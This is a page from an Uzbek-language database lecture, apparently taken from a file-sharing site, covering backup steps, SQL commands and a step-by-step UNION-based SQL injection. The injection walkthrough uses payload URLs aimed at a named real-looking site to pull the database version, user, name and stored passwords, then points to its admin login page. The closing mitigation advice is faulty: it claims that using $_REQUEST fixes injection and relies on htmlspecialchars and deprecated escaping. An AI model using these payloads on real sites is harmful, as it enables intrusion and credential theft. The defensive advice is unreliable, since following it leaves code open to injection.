Mavzu: Zaxiralash va tiklash siyosati


Download 0.71 Mb.
Pdf ko'rish
bet2/11
Sana07.11.2021
Hajmi0.71 Mb.
#171407
1   2   3   4   5   6   7   8   9   10   11
Bog'liq
10-mavzu 2

 

 

1.Serverda mBni zaxira nusxasini yaratish 

1.  Access dasturini ishga tushiring. 

2.  Fayl menyusidan Soxranitg’ kak ni tanlang. 

3.  Tipq faylov dan Soxranitg’ bazu dannqx kak buyrug’ini tanlang 

4.  Rezervnaya kopiya bazq dannqx amalini bajaring. 

Yuqoridagi amallarni ketma-ket bajarish natijasida zaxira nusha olingan kunning 

sanasi bilan nomli zaxira fayl hosil bo’ladi 

Nazariy mahlumotlar 

SQL – tartiblangan so’rovlar tili bo’lib, relyatsion model asosida MBni bosharadi. 

SQLda so’rovlar orqali mahlumotlar omboriga mahlumotlar kiritish, ularni 

o’zgartirish yoki o’chirish mumkin. Bularning barchasi quyidagi buyruqlar orqali 

amalga oshiriladi: 

- SELECT : ombordan mahlumotlarni chaqiradi; 

- DELETE : ombordan mahlumotlarni o’chiradi; 

- INSERT : omborga mahlumotlarni kiritadi; 

- REPLACE : agar omborga shunaqa yozuv bo’lsa uni yangilaydi, aks holda 

qo’shib qo’yadi; 

- UPDATE : ombordagi mahlumotni o’zgartiradi. 




 

SQL ning boshqa komandalari mahlumotlar omborini strukturasini tashkil qilishda 



ishlatiladi, yahni ular mahlumotlar bilan ishlamaydi. 

- CREATE : mahumotlar ombori, jadval yoki indeks yaratadi; 

- ALTER : jadval strukturasini o’zgartiradi; 

- DROP : mahlumotlar omborini yoki jadvalni o’chiradi; 

- GET, POST : so’rovlar jo’natish; 

- UNION : birlashtirish buyrug’i; 

- /* : kommentariya berish; 

- Order by : saralash. 

Bu SQL tillari Web ilovalarning asosiy qismini tashkil etib ularni buzishning bir 

necha usullari mavjuddir: 

DDOS Hujum : bu bugungi kundagi eng keng tarqalgan va samarali saytni ishdan 

chiqarishning oson yo’li. Buni oldini olish uchun juda ko’p mablag’ talab qilinadi. 

Saytni DDOS xujumga tutadigan bo’lsa sayt xattoki xaftalab ishlamasligi mumkin. 

SQL inheksiya yordamida sayt buzish : Buni oddiy foydalanuvchi amalga oshira 

olamaydi. Buni amalga oshirish uchun kam bo’lsa xam tajriba talab qilinadi. 

Ishlash tartibi quyidagicha: Maxsus xatoliklarni chiqaruvchi kodlar yordamida 

saytning yopiq va kirish mumkin bo’lmagan joylarga yo’l ochilishi, 

foydalanuvchilarning va hattoki adminning login va parolini qo’lga kiritishi 

mumkin. 

SQL inhektsiyani bajarish. GET so’rovi bilan quyidagi so’rov yuborilgan bo’lsa, 

http://una.ge/eng/artdetail.php?group=articles&id=102 




 

ID=102 bo’lgan qator haqida axborot beradi. 



Agar ID ga 101 qiymat bersak u buni qabul qilib 101-qatorni ochib bersa demak, 

102-1 buyrug’ini bajarganimizda xam muvaffaqiyatli natija berishi lozim. 

http://una.ge/eng/artdetail.php?group=articles&id=102-1 

agar bu buyruq bajarilsa, bu MB ustida bir necha amallarni bajarish mumkin. 

select * from news where sec_id=id and page=2 

and page=2 buyrug’i noto’g’ri qayta ishlanishi mumkin. Agar “ID” dan keyin 

kommentariya ishlatilsa, bu xatolik yo’qoladi. 

Select * from news where sec_id=102 /* and page=2 

Endi union buyrug’i yordamida chiqishi kerak bo’lgan mahlumotlarni 

birlashtiramiz. Bu buyruq MS SQLning 4 va undan keyingi verisiyalarida ishlaydi. 

Uning ikki xil usuli mavjud: 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1/* 

Bunda xato chiqishi mumkin, chunki maydonlar soni bir emas bir necha bo’ladi. 

Union select 1,2/* bo’lganda xam xato chiqishi mumkin. 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 

1,2,3,4,5,6,7,8,9/*. Endi xammasi xatosiz ishlaydi. 

Order by yordamida sarlaymiz. 

http://una.ge/eng/artdetail.php?group=articles&id=102 order by 5/* 

xato chiqmadi demak, maydonlar soni minimum 5ta. Yana urinib ko’ramiz order 

by 13/*. Bunda xato, demak maydonlar 13 tadan kam. SHu tariqa 12, 11, 10, 9 ni 




 

kiritamiz va maydonlar soni 9 ta yekanligiga yega bo’lamiz. Demak natijaviy 



buyruqni kiritamiz. 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 

1,2,3,4,5,6,7,8,9/* 

MySQL ning versiyasini aniqlash uchun quyidagini kiritish kifoya: 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 1,2, 

version(),4,5,6,7,8,9/* 

Foydalanuvchi nomini aniqlash uchun esa, 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 

01,2,user(),4,5,6,7,8,9/* 

MB nomini aniqlash uchun esa, 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 

1,2,database(),4,5,6,7,8,9/* 

xattoki parolni xam aniqlash mumkin: 

http://una.ge/eng/artdetail.php?group=articles&id=102 union select 

1,2,passwd,4,5,6,7,8,9 from user/* 

endi quyidagi login sahifasiga kirib login va parolni kiritib Mbga egalik qilishimiz 

mumkin. 

http://una.ge/admineng/login.php 



SQL inhektsiyaning oldini olish usullari. 1. POST yoki GET so’rovlari bilan baza 

tuzganda yuqoridagi xujumni amalga oshirish mumkin. Agar REQUEST 

so’rovidan foydalanilsa, bu muammo o’z yechimini topadi

$a = htmlspecialchars($_REQUEST[hah]); 




 

2.  Ekranda chiqadigan mahlumotlarni raqamli ko’rinishga xam o’tkazsa 



bo’ladi. 

$a = intval($a); 

2.  Barchasini text formatidagi ko’rinishga o’tkazish. Bunda 

mysql_real_escape_string() buyrug’idan foydalaniladi. Bu maxsus 

unescaped_string qatorlar bilan ekranlaydi. Natijada buyruqlardan bemalol 

foydalansak bo’ladi. 

$a = mysql_real_escape_string($_POST[hah]); 

Yanada filtirlash amalga oshirish uchun esa quyidagibuyruq bajarilishi lozim. 

$a = trim(mysql_real_escape_string(htmlspecialchars($_POST[hah]))); 

 

 



 


Download 0.71 Mb.

Do'stlaringiz bilan baham:
1   2   3   4   5   6   7   8   9   10   11




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling